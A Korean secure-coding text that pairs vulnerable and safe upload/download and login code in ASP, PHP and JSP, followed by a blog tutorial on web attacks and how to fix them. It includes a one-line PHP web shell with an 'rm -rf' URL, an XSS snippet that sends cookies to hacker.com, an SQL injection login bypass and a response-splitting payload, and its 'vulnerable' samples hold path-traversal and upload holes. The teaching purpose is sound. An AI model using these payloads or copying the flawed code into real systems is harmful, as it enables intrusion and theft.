    if (!( ereg($extension","hwp") || ereg($extension","pdf") || ereg($extension","jpg")) )
    print "업로드 금지 파일 입니다";
    exit;

  7. $uploadfile = $uploaddir. $_FILES['userfile']['name'];
    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
    print "파일이 존재하고, 성공적으로 업로드 되었습니다.";
    print_r($_FILES);
    else
    print "파일 업로드 공격의 가능성이 있습니다! 디버깅 정보입니다:\n";
    print_r($_FILES);
  8. ?>

□ JSP

취약한 파일 업로드 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="com.oreilly.servlet.MultipartRequest,com.oreilly.servlet.multipart.DefaultFileRenamePolicy, java.util.*"%>
    <%
    String savePath="/var/www/uploads";// 업로드 디렉토리
    int sizeLimit = 5 * 1024 * 1024 ;// 업로드 파일 사이즈 제한
  2. try
    MultipartRequest multi=new MultipartRequest(request, savePath, sizeLimit, new DefaultFileRenamePolicy());
    Enumeration formNames=multi.getFileNames();// 폼의 이름 반환
    String formName=(String)formNames.nextElement();
    String fileName=multi.getFilesystemName(formName);// 파일의 이름 얻기
  3. if(fileName == null)
    out.print("Error");
     else
    fileName=new String(fileName.getBytes("8859_1"),"euc-kr");
    out.print("User Name : " + multi.getParameter("userName") + "<BR>");
    out.print("Form Name : " + formName + "<BR>");
    out.print("File Name  : " + fileName);

  4.  catch(Exception e)
    out.print("Error");
     
    %>

안전한 파일 업로드 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="com.oreilly.servlet.MultipartRequest,com.oreilly.servlet.multipart.DefaultFileRenamePolicy, java.util.*"%>
    <%
    String savePath="/var/www/uploads";// 업로드 디렉토리
    int sizeLimit = 5 * 1024 * 1024 ; // 업로드 파일 사이즈 제한
  2. try
    MultipartRequest multi=new MultipartRequest(request, savePath, sizeLimit, "euc-kr", new DefaultFileRenamePolicy());
    Enumeration formNames=multi.getFileNames();  // 폼의 이름 반환
    String formName=(String)formNames.nextElement();
    String fileName=multi.getFilesystemName(formName); // 파일의 이름 얻기
  3. String file_ext = fileName.substring(fileName.lastIndexOf('.') + 1);
    if(!( file_ext.equalsIgnoreCase("hwp") || file_ext.equalsIgnoreCase("pdf") || file_ext.equalsIgnoreCase("jpg")) )
    out.print("업로드 금지 파일");

  4. if(fileName == null)
    out.print("파일 업로드 실패");
     else
    fileName=new String(fileName.getBytes("8859_1"),"euc-kr"); // 한글인코딩
    out.print("File Name  : " + fileName);
  5.  catch(Exception e)


3장 8절 다운로드 취약점 - 소스


□ ASP

취약한 파일 다운로드 예
  1. <%
    file = Request.Form ("file")'파일 이름
  2. Response.ContentType = "application/unknown"'ContentType 선언
    Response.AddHeader "Content-Disposition","attachment; filename=" & file
  3. Set objStream = Server.CreateObject("ADODB.Stream")'Stream 이용
  4. objStream.Open
    objStream.Type = 1
    objStream.LoadFromFile Server.MapPath("./upfiles/")&"\"& file '서버 절대경로
  5. download = objStream.Read
    Response.BinaryWrite download
  6. Set objStream = nothing'객체 초기화

안전한 파일 다운로드 예제
  1. <%
    file = Request.Form ("file")'파일 이름
  2. Response.ContentType = "application/unknown"'ContentType 선언
    Response.AddHeader "Content-Disposition","attachment; filename=" & file
  3. Set objStream = Server.CreateObject("ADODB.Stream")'Stream 이용
  4. strFile = Server.MapPath("./upfiles/") & "\" & file '서버 절대경로
    strFname=Mid(Fname,InstrRev(file,"\")+1) '파일 이름 추출, ..\ 등의 하위 경로 탐색은 제거 됨
    strFPath = Server.MapPath("./upfiles/") & "\" & strFname '웹서버의 파일 다운로드 절대 경로
  5. If strFile = strFPath Then'사용자가 다운 받는 파일과 웹서버의 파일 다운로드 경로가 맞는지 비교
    objStream.Open
    objStream.Type = 1
    objStream.LoadFromFile strFile
  6. download = objStream.Read
    Response.BinaryWrite download
    End If
    Set objstream = nothing'객체 초기화
    %>

□ PHP

취약한 파일 다운로드 예
  1. $dn_path = "/var/www/data/$up_dir/$dn_file_name";
  2. //파일 전송 루틴
    header("Content-Type: doesn/matter");
    header("Content-Length: ".filesize("$dn_path"));
    header("Content-Disposition: filename=".$dn_file_name]);
    header("Content-Transfer-Encoding: binary\r\n");
    header("Pragma: no-cache");
    header("Expires: 0");

안전한 파일 다운로드 예
  1. if (preg_match("/[^a-z0-9_-]/i",$up_dir))
    print "디렉토리에 특수문자 체크";
    exit;
  2. if (preg_match("/[^\xA1-\xFEa-z0-9._-]|\.\./i",urldecode($dn_file_name)))
    print "파일이름에 특수문자 체크";
    exit;
  3. $dn_path = "/var/www/data/$up_dir/$dn_file_name";
    if (!file_exists($dn_path))
    print "파일이 존재여부 체크";
    exit;
  4. //파일 전송 루틴
    header("Content-Type: doesn/matter");
    header("Content-Length: ".filesize("$dn_path"));
    header("Content-Disposition: filename=".$dn_file_name]);
    header("Content-Transfer-Encoding: binary\r\n");
    header("Pragma: no-cache");
    header("Expires: 0");

□ JSP

취약한 파일 다운로드 예
  1. String UPLOAD_PATH= "/var/www/upload/";
    String filename= response.getParameter("filename");
    String filepathname = UPLOAD_PATH + filename;
  2. // 파일 전송 루틴
    response.setContentType("application/unknown; charset=euc-kr");
    response.setHeader("Content-Disposition","attachment;filename=" + filename + ";");
    response.setHeader("Content-Transfer-Encoding:" , "base64");
  3. BufferedInputStream in = new BufferedInputStream(new FileInputStream(filepathname));

안전한 파일 다운로드 예
  1. String UPLOAD_PATH= "/var/www/upload/";
    String filename= response.getParameter("filename");
    String filepathname = UPLOAD_PATH + filename;
  2. if(filename.equalsIgnoreCase("..") || filename.equalsIgnoreCase("/"))
    // 파일 이름 체크
    return 0;
  3. // 파일 전송 루틴
    response.setContentType("application/unknown; charset=euc-kr");
    response.setHeader("Content-Disposition","attachment;filename=" + filename + ";");
    response.setHeader("Content-Transfer-Encoding:" , "base64");
  4. try
    BufferedInputStream in = new BufferedInputStream(new FileInputStream(filepathname));
    .........
    catch(Exception e)
    // 에러 체크 [파일 존재 유무등]

[부록1] 개발 언어별 로그인 인증 프로세스 예제


1. ASP 예제
 가. login.html

  1. <html>
    <head>
    <title> Login </title>
    <script>
    function check_submit()
    if(!login.user_id.value)
    alert("아이디를 입력하세요");
    login.user_id.focus();
    return false;
  2. if(!login.password.value)
    alert("아이디를 입력하세요");
    login.password.focus();
    return false;
  3. return true;
  4. </script>
    </head>
    <body>
    <form method=post action=login.asp onsubmit="return check_submit();" name=login>
    <TABLE border=0>
    <TR>
    <TD>아이디</TD>
    <TD><input type=text name="user_id" value="" maxlength=12 size=19></TD>
    </TR>
    <TR>
    <TD>패스워드</TD>
    <TD><input type=password name="password" value="" maxlength=12 size=19><input type=submit value="login"></TD>
    </TR>
    </TABLE>
    </form>
    </body>
    </html>

나. login.asp

  1. <% Option Explicit %>
    <%
    Dim user_id, password
    user_id = Request.Form("user_id")' 사용자로부터 입력 받은 아이디
    password = Request.Form("password")' 사용자로부터 입력 받은 패스워드
  2. If UserAuth(user_id, password) <> 1 Then
    Response.redirect("/login.html")' 인증 실패시 인증 페이지로 Redirect
    Else
    If Session("logged_in") <> 1 Then' 인증된 사용자 인지 체크
    Session("logged_in") = 1' 인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Session("user_id") = user_id' 사용자 ID 저장
    Session("user_ip") = Request.Servervariables("REMOTE_ADDR")' IP 저장
    End If
    Response.redirect("/main.asp")' 인증 성공시 Main 페이지로 Redirect
    End If
    %>
  3. <%
    Function stripQuotes(strWords)
    stripQuotes = replace(strWords, "'", "''")' 특수문자 제거
    End Function
  4. Function UserAuth(user_id, user_pwd)' 사용자 인증
    Dim objConn, objRs
    Dim strConnection, strQuery
  5. Set objConn = Server.CreateObject("ADODB.Connection")
    Set objRs = Server.CreateObject("ADODB.RecordSet")
  6. ' DB 연결 정보, 별도의 헤더 파일로 관리하여 INCLUDE
    strConnection = "DSN=MEMBER;uid=DBUSER;pwd=DBPASSWD"
  7. On Error Resume Next' 에러가 생길경우
    objConn.Open strConnection
    objRs.ActiveConnection = objConn
  8. strQuery = "SELECT * FROM user_tbl WHERE user_id= '" &_
    stripQuotes(user_id) & "' AND password='" &_
    stripQuotes(user_pwd) & "'"
    objRs.Open strQuery
  9. If objRs.BOF or objRs.EOF Then' 올바른 사용자를 찾지 못했을경우
    UserAuth = 0
    Else
    UserAuth = 1
    End If
  10. objRs.Close' DB 연결 해제
    Set objRs = Nothing
    objConn.Close
    Set objConn = Nothing
    End Function

다. main.asp

  1. <%
    If Session("user_ip") = Request.Servervariables("REMOTE_ADDR") AND Session("logged_in") = 1 Then
    Response.Write Session("user_id") & "님은 " & Session("user_ip") & "에서 접속하셨습니다."
    '인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    '... 중략 ...
    Else
    Response.write "허가되지 않은 사용자 입니다."
    End If
    %>

2. PHP

가. login.html

  1. <html>
    <head>
    <title> Login </title>
    <script>
    function check_submit()
    if(!login.user_id.value)
    alert("아이디를 입력하세요");
    login.user_id.focus();
    return false;
  2. if(!login.password.value)
    alert("아이디를 입력하세요");
    login.password.focus();
    return false;
  3. return true;
  4. </script>
    </head>
    <body>
    <form method=post action=login.php onsubmit="return check_submit();" name=login>
    <TABLE border=0>
    <TR>
    <TD>아이디</TD>
    <TD><input type=text name="user_id" value="" maxlength=12 size=19></TD>
    </TR>
    <TR>
    <TD>패스워드</TD>
    <TD><input type=password name="password" value="" maxlength=12 size=19><input type=submit value="login"></TD>
    </TR>
    </TABLE>
    </form>
    </body>
    </html>

나. login.php

  1. <?PHP
    @session_cache_limiter('nocache');
    @session_start(); //세션 데이터를 초기화
  2. // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!UserAuth($_POST['user_id'],$_POST['password'])) //DB 에서 사용자 인증 처리하는 부분
                    header("Location: login.html");
                    exit;//인증 실패시 종료
  3. //인증에 성공한 경우 처리 해야 되는 부분
    if (!session_is_registered("logged_in"))
  4. $logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    $user_id = $_POST["user_id"];
    $user_ip = $_SERVER["REMOTE_ADDR"];
    session_register("logged_in");//인증 결과 저장
    session_register("user_id");//사용자 ID를 저장
    session_register("user_ip");//사용자 IP를 저장
  5. header("Location: main.php");
    ?>
    <?PHP
    function UserAuth($userid, $userpwd)
    $connect = mysql_connect("localhost","DBUSER","DBPASSWD");
    mysql_select_db("MEMBER");
  6. $strQuery = "SELECT * FROM user_tbl WHERE user_id ='" . addslashes($userid) . "' AND password='" . addslashes($userpwd) . "'";
    $result = @mysql_query($strQuery);
    if($result)
    if(mysql_num_rows($result))
    $data = mysql_fetch_array($result);
    $userLevel = $data["level"];
    @mysql_free_result($result);
    @mysql_close($connect);
    return 1;
  7. return 0;
    @mysql_close($connect);
    return 0;
    ?>

다. main.php

  1. <?PHP
    @session_start();
    if(strcmp($_SESSION['user_ip'], $_SERVER['REMOTE_ADDR']) == 0 && session_is_registered('logged_in'))
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //... 중략 ...
    echo $_SESSION['user_id'] . "님은 " . $_SESSION['user_ip'] . "에서 접속하셨습니다.";
    else
    echo "허가되지 않은 사용자 입니다.";
    exit;
  2. ?>

3. JSP

가. login.html

  1. <html>
    <head>
    <title> Login </title>
    <script>
    function check_submit()
    if(!login.user_id.value)
    alert("아이디를 입력하세요");
    login.user_id.focus();
    return false;

  2. if(!login.password.value)
    alert("아이디를 입력하세요");
    login.password.focus();
    return false;
  3. return true;
  4. </script>
    </head>
    <body>
    <form method=post action=login.jsp onsubmit="return check_submit();" name=login>
    <TABLE border=0>
    <TR>
    <TD>아이디</TD>
    <TD><input type=text name="user_id" value="" maxlength=12 size=19></TD>
    </TR>
    <TR>
    <TD>패스워드</TD>
    <TD><input type=password name="password" value="" maxlength=12 size=19><input type=submit value="login"></TD>
    </TR>
    </TABLE>
    </form>
    </body>
    </html>

나. login.jsp

  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.sql.* " %>
  2. <%
    String DB_URL = "jdbc:mysql://127.0.0.1/MEMBER";// DB 연결 정보, 별도의 헤더 파일로 관리하여 INCLUDE
    String DB_USER = "DBUSER";
    String DB_PASSWORD= "DBPASSWD";
  3. //HttpSession session = request.getSession(true);// Servlet 의 경우만 추가
    String user_ip = request.getRemoteAddr();// 연결된 사용자의 IP 획득
    String user_id = null;
  4. Connection conn;
    PreparedStatement pstmt = null;
    ResultSet rs = null;
  5. try
    Class.forName("org.gjt.mm.mysql.Driver");// 드라이버 등록
    conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);// DB연결
    String query = "SELECT * FROM user_tbl WHERE user_id = ? AND password = ?";
    pstmt = conn.prepareStatement(query);
  6. pstmt.setString(1, request.getParameter("user_id"));// 사용자 입력값 전달
    pstmt.setString(2, request.getParameter("password"));
  7. rs = pstmt.executeQuery();
    if(rs.next())
    user_id = rs.getString(1);// DB에서 사용자 정보 획득

  8. if(user_id != null)
    if(session.getValue("logged_in") != "1")  // 인증된 사용자 인지 체크
    session.putValue("logged_in", "1");// SESSION에 사용자 정보 기록
    session.putValue("user_id", user_id);
    session.putValue("user_ip", user_ip);
  9. //LogSave(user_id, user_ip);// 인증에 성공한 사용자 정보 기록
  10. response.sendRedirect("/main.jsp");// 인증 성공시 Main 페이지로 Redirect
    else
    response.sendRedirect("/login.html");// 인증 실패시 인증 페이지로 Redirect
  11. catch(Exception ex) // 에러처리
    out.println(ex);
    finally // DB연결 종료
    if(rs != null) try rs.close(); catch(SQLException ex)
    if(pstmt != null) try pstmt.close(); catch(SQLException ex)
  12. %>

나. main.jsp

  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
  2. <%
    //HttpSession session = request.getSession(true);
  3. if(session.getValue("user_ip") == request.getRemoteAddr() && session.getValue("logged_in") == "1")
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //...
    out.println(session.getValue("user_id") + " 님은 " + session.getValue("user_ip") + " 에서 접속하셨습니다.");
    //... 중략 ...
    else
    response.sendRedirect("/login.html");// 인증 실패시 인증 페이지로 Redirect
  4. %>



출처 :ㅣ http://dozob.springnote.com/pages/1472316

Posted by 1010
90.개발관련문서2009. 10. 5. 22:09
반응형
"인터넷은 웹이다."라고 할 수 있을 정도로 웹은 인터넷의 커다란 부분을 차지합니다. 실제로 비전공자에게는 "인터넷 == 웹" 으로 통하는 경우도 많습니다. 어떠한 운영체제도 기본적으로 웹 브라우져를 제공하며, 심지어 새롭게 출시되는 모바일 장치도 웹 브라우져를 지원하지 않고는 사용자들에게 어필할 수 없을 정도로 웹에대한 의존도가 매우 커졌습니다. 그래서 각종 금융서비스, 국가 전산 그리고 전자상거래등이 웹을 통해 서비스 됩니다. 별도의 클라이언트를 개발하여 서비스해도 되지만, 사용자에게 친숙한 사용 방법을 제공할 수 있으며, 웹 서비스를 이용하면 새로운 프로그램을 설치해야 하는 수고로움을 덜 수 있기 때문에 웹을 통해 서비스 하고 있는 것입니다.

그래서 지난 10년간 인터넷이 성장하는 동안, 웹 보안의 중요성이 매우 크게 증가 하였습니다. 이것은 해킹/보안 분야에서의 정설인 "서비스의 전산에대한 의존도가 커질수록 보안 위협도 비례해서 커진다"라는 공식이 적용되기 때문입니다. 실제로 지금도 수많은 웹사이트가 국경을 넘어서 수많은 해커들에게 공격받고 있습니다. 그 피해는 하나의 웹 사이트의 보안 사고가 사회 전체에 영향을 끼칠 정도로 큽니다.

웹은 일반 시스템에 비해 보안에 취약합니다. 그 이유는 웹 프로그래밍이 매우 쉽고 누구나 접근 가능한 것을 목적으로 설계되었기 때문에 일반인들도 몇일만 공부하면 그럴싸한 웹 사이트를 뚝딱 만들어낼 수 있기 때문입니다. 왜 만들기 쉬운것이 보안에 문제가 되는가? 라는 질문에 대한 답변은, "모든 해킹은 프로그래머의 실수에 그 기반을 두기 때문입니다." 라고 할 수 있겠습니다. 즉, 고도의 훈련된 전문가가 만드는 프로그램은 실수가 적기 때문에, 해킹 당할 확률이 적은 반면 그렇지 않은 사람이 만드는 프로그램에는 실수가 많아 해킹 당할 확률이 높아진다고 할 수 있는 것입니다.

그래서 웹 해킹 방법을 분류하여 설명하고, 어떤 실수가 해킹 사고로 이어지는지 그리고 어떻게 해결할 수 있는지 설명하도록 하겠습니다. 소개드리는 해킹 방법은 그 원리를 설명하기 위한 예시이지만, 지금도 벌어지고 있는 실제 해킹 사고 중 거의 대부분은, 소개시켜드리는 원리와 약간의 응용으로 작동한다는 것 꼭 명심하시기 바랍니다.

다음은 웹 해킹의 종류를 방식에 따라 나열한 것입니다. 이 웹 해킹 종류를 모두 소개해드리도록 하겠습니다. 참고로 본 문서에서 정의하는 "웹 어플리케이션"이라는 용어는 서버 사이드에서 동작하는 PHP, JSP 그리고 ASP와 같은 어플리케이션을 말합니다. 즉, 사용자와 웹 서버 사이에서 정보를 입력 받고 가공하여 출력해주는 역할을 하는 어플리케이션을 지칭하는 것 입니다.

  • Injecting Malicious Data
    • Parameter Tampering
    • URL Tampering
    • Hidden Field Manipulation
    • HTTP Header Manipulation
    • Cookie Poisoning
    • Executable File Upload
  • Exploting Unchecked Input
    • SQL Injection
    • Cross-site Scripting
    • HTTP Response Splitting
    • Path Traversal
    • Commnad Injection

1. Injecting Malicious Data

Injecting Malicious Data는 웹 어플리케이션에 조작된 데이터를 입력하여 공격하는 것입니다. 예를 들어 웹을 기반으로 경품행사를 하는데 랜덤하게 발생되는 경품 당첨 번호를 자신이 인위적으로 조작하여 입력하는 것 같은것을 말하는 것입니다. 한가지씩 살펴보며 이해를 돕도록 하겠습니다.

1.1. Parameter Tampering

Parameter Tampering 공격은 웹 어플리케이션에서 사용하는 파라메터(매개변수, Parameter)를 강제로 입력하여 어플리케이션의 의도대로 동작하지 않게 하는 공격입니다. 예를 들어 다음과 같은 코드가 있다고 가정합니다.

[HTML code]
<script> var form = document.Login;
id(!form.id.value)
{
return false;
}
</script>

[Java code]
String strID = request.getParameter("id");

위 코드의 원래 의도는 사용자가 id 에디트박스가 빈칸이 될 수 없도록 하는 것입니다. 하지만 위 코드는 HTML 파일을 PC에 따로 저장해서 저 스크립트를 빼버리는 것 만으로 의도를 빚겨나갈 수 있습니다. 이런 공격을 해결하기 위해서는 Java script에서 아이디 필드가 비었는지 체크하는 것이 아니고, 서버사이드에서도 id 파라메터가 비어있는지 체크해야 합니다.

전자 상거래 초창기에는 위와 같은 사례가 많았습니다. 예를 들어 상품을 보여주는데 상품 가격을 Read-only 속성이 있는 에디트박스에 넣고 서버사이드에서는 해당 에디트 박스에서 값을 읽어와 사용자의 포인트를 차감하면서 상품을 배송해주었던 사례도 있습니다. 이것은 에디트박스의 Read-only 속성만을 제거하면 10원으로 100,000원 짜리 물건을 살 수 있었다는 것을 의미합니다.

요즘에 이런 실수를 하는 곳은 거의 없지만, 급하게 만들어진 매우 큰 사이트에서는 아직도 저런 코드가 종종 보이기도 합니다.

1.2.  URL Tampering

URL Tampering은 URL로 중요한 데이터를 보내는 경우에 이를 조작하여 공격자가 의도하는대로 동작을 바꾸는 것 공격 방식 입니다.

[정상적인 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=1000

[공격 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=-5000

위 예제는 정상적인 URL이 실행되면 Attacker라는 ID에서 1000 포인트를 차감하여 Attacker2라는 사용자에게 1000 포인트를 전송한다고 가정합니다. 이때 Attacker가 위 URL을 -5000이라고 바꾸어 실행하면 어떻게 될까요? 분명 내부적으로는 다음과 같은 코드가 동작할 것입니다.

Attacker.Point -= DebitAmount;
Attacker2.Point += DebitAmount;

-5000이라는 입력은 위 코드에 들어가서 반대로 Attacker2에서 -5000을 빼고, 공격자 본인에게 +5000을 하게 될 것입니다. 이런 공격 방식 또한 대부분 인지하고있어서 위와 같은 문제가 발생하지 않게 하고 있습니다. 하지만 중요한것은 실수라는 것입니다. 위와 같은 공격에대해 확실한 인지 없이, 수많은 코드를 작성하다보면 한두가지 필드에서 실수를 하게 되는 경우가 있습니다. 해커는 그런 빈틈을 이용해 큰 결과를 얻어내곤 합니다.

URL Tampering을 막기 위해서는, 우선 GET 방식으로 중요한 데이터를 주고 받지 말아야 하겠고, 그 후에 서버사이드에서 넘어오는 모든 값을 일일히 체크해야 할 것입니다. 위와 같은 코드에서 DebitAmount에 마이너스 값이 들어오면 경고를 하고 코드가 동작하지 않도록 해야 겠습니다.

마이너스 값 입력 문제는, 예전에 어떤 온라인 게임상에서 송금 기능을 이용할때 같은 문제가 있었습니다. 마이너스 값 입력 문제는 특히 더욱 조심해야 할것입니다.

다음 중, 하 편에서 나머지 웹 해킹 원리를 마져 다루도록 하겠습니다.


---------------------------------------------------------------

1.3. Hidden Field Manipulation

Hidden Field Manipulation 공격은 웹 페이지가 Hidden 태그를 이용하여 값을 웹 어플리케이션으로 전달하는 방법을 이용하는 공격입니다. 본 공격 또한 마찬가지로 웹 페이지를 로컬에 저장한 후 태그 값을 수정하여 실행하는 것 많으로도 공격이 가능합니다. 최근에 나오는 브라우져는 브라우져에서 바로 값을 수정하여 실행시킬 수 있기 때문에 더욱 공격이 쉬워집니다.

실제 코드를 예로 들어 살펴보면 공격은 다음과 같이 이루어 집니다.


[정상적인 HTML 코드]
<input type="hidden" name="price" value="100000">

[수정한 HTML 코드]
<input ytpe="hidden" name="price" value="10">

HTML에서 웹 어플리케이션으로 값을 전달할 때, 프로그래머가 귀찮아서 또는 그리 중요하지 않은 정보라고 생각되어서 위와 같이 처리하는 경우가 많이 있습니다. 하지만 모든 해킹은 중요하지 않은 정보를 조작하므로서 중요한 정보에 영향을 주는 방법으로 이루어진다는 것을 명심해야 하겠습니다. 이 공격을 해결하지 위해서는 아무리 중요하지 않은 정보라도 Hidden 태그로 처리하기 보다는 서버사이드에서 DB와 연동하여 직접 처리해야 합니다.

1.4. HTTP Header Manipulation

HTTP Header Manipulation은 웹 어플리케이션이 HTTP 헤더의 정보를 이용할 때, 이를 조작하여 웹 어플리케이션이 오동작 하도록 유인하는 공격 방식입니다. 예를 들어 A 사이트를 통해서 B 사이트로 들어오는 정보를 특별하게 처리하기 위해 HTTP Header의 Referer 필드를 이용하는 경우가 있는데 이것은 충분히 조작이 가능합니다.

[HTTP Header]
Get Shell.php
RERFERER http://trust.com

B 사이트에서 Shell.php 요청 명령을 받았을 때, 위 박스에 있는 헤더 처럼 trust.com 사이트를 통해 들어온 명령이면 처리하고 그렇지 않으면 거부하는 코드가 있다고 가정했을 때, 이것은 Victim.com에서도 Header만 변경해서 충분히 수행할 수 있습니다.  이 공격을 방어하기 위해서는 HTTP Header를 신뢰하지 않아야 합니다.

1.5. Cookie Poisoning

Cookie Poisioning은 Cookie를 조작하여 원하는 결과를 도출해 낼 때 사용합니다. Cookie란 웹 사이트의 특정 정보를 저장하는 기법으로 사용자의  PC나 장치에 저장되며 서버에도 저장될 수 있습니다. 보통 Cookie에는 사용자의 정보를 많이 저장하는데 물건을 구매하거나 메일을 보낼 때 Cookie를 사용한다면 이를 조작하여 다른 결과를 도출해 낼 수 있습니다.

[Cookie.txt]
ID=Victim SessionID=102

[Web application]
GetCookie(ID)->Point -= 100000;
GetCookie(ID)->BuyProduct("컴퓨터");

위 예제는 사용자의 정보를 쿠키에 저장한 후, 물건을 구매할 때 서버에서 이 정보를 불러와서 물건을 결제하는 코드입니다. 이때 사용자의 ID는 사용자의 PC에 있는 쿠키에 저장되어 있으므로 이 쿠키를 조작한다면 내가 원하는 사람에게 결제를 하면서 나에게 배송되게 할 수 있는 것입니다. 이를 해결하기 위해서는 세션을 이용하고, 모든 중요한 정보는 서버사이드에서 처리해야 합니다.

1.6. Executable File Upload

웹 서버에서 실행될 수 있는 파일(PHP, JSP, ASP 등)을 업로드하여 원하는 코드를 실행시키는 공격 방법입니다. 웹 초창기에 굉장히 유행했던 공격 방식이였습니다. 웹 초기에는 보안에 큰 신경을 쓰지 않아서, 대부분의 게시판에 실행 가능한 파일이 업로드 되었었습니다.

[Hack.php]
passthru($cmd)

만약 PHP가 동작하는 웹 사이트에 Hack.php 파일이 없로드 된다면 http://victim.com/Hack.php?cmd="rm -rf *" 와 같은 URL에 접근하여 웹 서버 내부에 침투할 수 있게 됩니다. cmd에 넣는 모든 쉘 명령어를 웹서버가 처리하게 되는 것이죠. 최근에는 이 공격은 거의 통하지 않습니다. 워낙에 고전적인 방식이라 대부분이 PHP, JSP, ASP 등의 파일이 업로드 되는 것을 막기 때문입니다. 하지만 워낙 고전이라는 것에 헛점이 있어서 모두가 안심하고 있을 때, 몇년전에 Apache 서버의 버그로 이 공격이 일파만파 다시 시도되었었습니다. 그것은 Apache의 기능 중 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp 와 같은 확장자를 사용하는 옵션이 있었는데, 서버사이드에서는 끝의 확장자가 .php만 막을 뿐이였고, 아파치는 .php.kr 또한 php 파일로 처리했던 것이죠. 불과 이삼년전의 일입니다. 또 이런식의 버그가 항상 도사리고 있다는 것 명심하시기 바랍니다.

다음 하편에서는 Exploiting Unchekced Input의 해킹 방법을 모두 알아보도록 하겠습니다.



--------------------------------------------------------------------------------

2.1. SQL Injection
SQL injection 은 사용자의 입력이 back-end database에 바로 전달 될 때, 입력에 sql문을 넣어서 DB를 조작할 수 있는 매우 치명적인 공격 방법입니다.











[Web application]
strID = request.getParameter("id");
strPassword = request.getParameter("password");
result = Query("select count(*) from User" + "where id="  + strID+ "password =" + strPassword);
if(result == 1)
{
echo "로그인 성공";
}
[HTML]
<input type="text" name="id">
<input type="text" name="password">

예를 들어 위와 같이 로그인 하는 코드에서 사용자의 입력을 여과 없이 그대로 받아 들인다고 가정합니다. 이 때 name에 getroot'-- 를 입력한다면 어떤 결과가 발생할까요? 쿼리는 SELECT count(*) from USER where id=getroot'-- password = 과 같이 입력될 것입니다. '--는 sql문에서 주석에 해당하기 때문에 id=getroot 까지만 쿼리문으로 인식되어 패스워드의 입력에 상관없이 무조건 getroot로 로그인되는 것입니다. SQL Injection은 이제 서버사이드의 언어 자체에서 거르는 기능을 통해 크게 발생하고 있지는 않지만, 방어를 우회할 수 있는 많은 응용 방법이 나오고 있고, 아직까지 가장 광범위하게 사용되고 있는 공격 방식입니다. 이를 방어하기 위해서는 HTML로 부터 입력을 받을 때 특수 문자나 여러가지 상황을 고려해 방어하거나, 입력받는 문자를 스트링으로 강제 변환하여 받는 방법 등으로 해결해야 할 것 입니다.

2.2. Cross-site Scripting

Cross-site Scripting은 말 그대로 사이트를 넘어 스크립트를 실행하는 공격을 말합니다. 웹서버를 공격하는 방식이 아닌 사이트를 통해 다른 사용자를 공격하는 것 입니다. 게시판과 같이 동적으로 생성되는 Page에 조작된 코드를 넣어서 다른 사용자에게 공격자가 원하는 코드를 실행하게 하며, 이를 통해 다른 사용자의 쿠기를 자신의 메일로 전송하게 하거나, 다른 사용자에게 악성 코드를 설치하는 등 여러가지 공격을 수행합니다. 몇년 전 한 해커가 리니지 게임의 아이디와 패스워드를 빼내기 위해 리니지 커뮤니티에 악성 코드를 올려놓고, 감염된 사용자의 아이디와 패스워드를 대량으로 빼내가서 사회적으로 큰 이슈가 되었던적이 있었습니다. 그리고 윈도우에서 그래픽 파일을 처리하는 과정에서 발생하는 Buffer overflow를 이용하여 웹에 조작된 그림 파일을 올려놓고, 다른 사용자가 그 그림을 보는 것 만으로도 악성코드가 PC에 설치되게 했던 공격도 있었습니다. 싸이월드의 방문자 추적 시스템도 이와 같은 공격 방식으로 이루어 지는 것이다. Cross-site Scripting은 근복적인 해결책이 없는 공격 방식으로서 굉장히 유의하지 않으면 막기가 힘든 방법입니다.

<script>
String strCookie = Document.GetCookie();
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>

이 공격 방식의 예로는 위의 박스와 같은 코드를 자바 스크립트가 동작하는 페이지에 삽입하여, 다른 사용자의 쿠키를 자신의 서버에 저장하는 방식이 있을 수 있습니다. 이와 같은 버그는 예전 대형 포탈 사이트에서도 동작하여 사용자의 많은 정보가 유출되기도 했었습니다.

2.3. HTTP Response Splitting

HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 있다면 응답 메시지를 조작하여 Proxy 서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다. 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 될 수 있습니다.

[JSP]
response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));

만약 JSP에서 위와 같은 코드를 사용한다면 공격자가 다음과 같은 코드를 보내서 프록시에게 응답 패킷이 두개라고 착각하게 만들 수 있습니다.

[공격 코드]
HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>

http://victim.com//index.html

서버사이드에서는 공격 코드에 있는 인자를 그대로 받아서 처리하기 때문에 foobar 이후의 코드를 그대로 응답에 사용하게 될 것입니다. 이 때 공격자가 http://victim.com/index.html을 빠르게 요청하면 프록시 서버에서는 다음과 같이 응답이 온것으로 착각하게 됩니다.

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http:// victim.com /by_lang.jsp?lang=foobar

Content-Length: 0


<index.html 에 매칭>

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Getroot</html>

